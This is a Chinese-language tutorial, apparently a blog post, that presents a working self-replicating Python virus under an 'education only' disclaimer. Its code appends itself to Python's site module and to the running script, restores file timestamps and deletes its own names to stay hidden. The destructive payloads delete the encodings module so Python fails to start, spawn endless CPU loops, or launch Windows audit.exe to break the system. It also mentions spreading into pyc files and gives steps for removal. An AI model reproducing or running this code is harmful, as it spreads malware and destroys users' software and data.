Python 设计自我复制程序，模拟计算机病毒传播原理

众所周知，计算机病毒和木马传染性、破坏性强，已经给人们的生产和生活带来了巨大损失。而某些病毒，如CIH病毒，甚至有破坏BIOS和主板的能力。
本文将使用Python设计可自我复制和传播的程序，模拟计算机病毒传播的原理。

声明：本文中的代码仅供学习和参考，请勿用于非法用途！
完整源代码: python-self-replication · GitHub

计算机病毒的概念

计算机病毒（Computer Virus）指编制者在计算机程序中插入的破坏计算机功能或者破坏数据，影响计算机正常使用并且能够自我复制的一组计算机指令或程序代码。

计算机病毒具有传染性、隐蔽性、感染性、潜伏性、可激发性、表现性或破坏性等性质。
计算机病毒的生命周期为：开发期→传染期→潜伏期→发作期→发现期→消化期→消亡期。

计算机病毒模拟程序

程序可在不同Python解释器之间自我复制, 类似计算机病毒传播的原理。

程序由四个部分组成 :

• 获取程序自身代码。
• 判断目标文件中是否已存在该程序。
• 将代码写入目标文件末尾。
• 其他用于破坏的代码。

step1 : 传播的部分

# mark是本程序的标记
mark="#####MyPython####"#v1.0.2
code=''
# 获取程序自身代码
with open(__file__,encoding="utf-8") as f:
    for line in f:
        if mark in line.strip():
            code=line+f.read()
# 复制自身到指定的Python脚本
def spread_to_file(file):
    import os;stat=os.stat(file)
    old_time=stat.st_atime,stat.st_mtime # 获取旧的修改时间
    # 判断是否已存在标记
    with open(file,'r',encoding='utf-8') as f:
        for line in f:
            if mark in line:return # 找到标记，则不写入
    # 判断待写入文件大小，过小则不写入
    if os.path.getsize(file)>=2048:
        # 将代码写入文件末尾
        with open(file,'a',encoding='utf-8') as f:
            f.write('\n'+code)
        os.utime(file,old_time) # 改回原来的修改时间，隐藏痕迹
# 复制自身到指定模块
def spread(mod):
    spread_to_file(__import__(mod).__file__)

try:
    spread('site')
    # 复制自身到正在运行的主程序 (sys.argv[0])
    spread_to_file(__import__("sys").argv[0])
except:pass
# 防止自身通过dir(site)被发现
del spread,spread_to_file,code,mark,f,line

程序中使用的技巧:

1. 使用__file__获取程序文件名。
2. 应用__import__()函数直接导入模块，避免命名空间污染。
3. 使用标记(如: #####MyPython####) 标识本程序。
4. 应用os.path.getsize函数获取文件大小，如果文件过小则不写入。
5. 应用os.stat和os.utime隐藏修改日期的痕迹。

step2: 用于破坏的部分

import os,random,encodings
if random.randrange(1,300)==1:
	# 移除encodings模块, 使Python无法正常启动
	os.remove(encodings.__file__)

或:

import os
if random.randrange(1,30)==1:
	# 占用系统资源, 使计算机运行速度变慢
	for i in range(4): # 4为cpu线程数
		os.system('pythonw.exe -c "while True:pass"')

或:

# 更新时间：2021-7-7
import os
# 调用windows的安装程序, 破坏系统
os.system(os.path.join(os.getenv('windir'), 'system32\\oobe\\audit.exe'))

step3: 传播到pyc文件

pyc文件是由py文件编译而来的Python字节码，传播到pyc文件可使程序更不易被识别。
参见文章: Python bytecode 字节码解析与插入、修改

step4: 如何彻底清除本程序
安装并打开Everything软件，打开“搜索” => “高级搜索”菜单，在所有*.py文件的内容中查找#####MyPython####，再手动编辑找到的文件，将末尾的本程序代码删除，即可。

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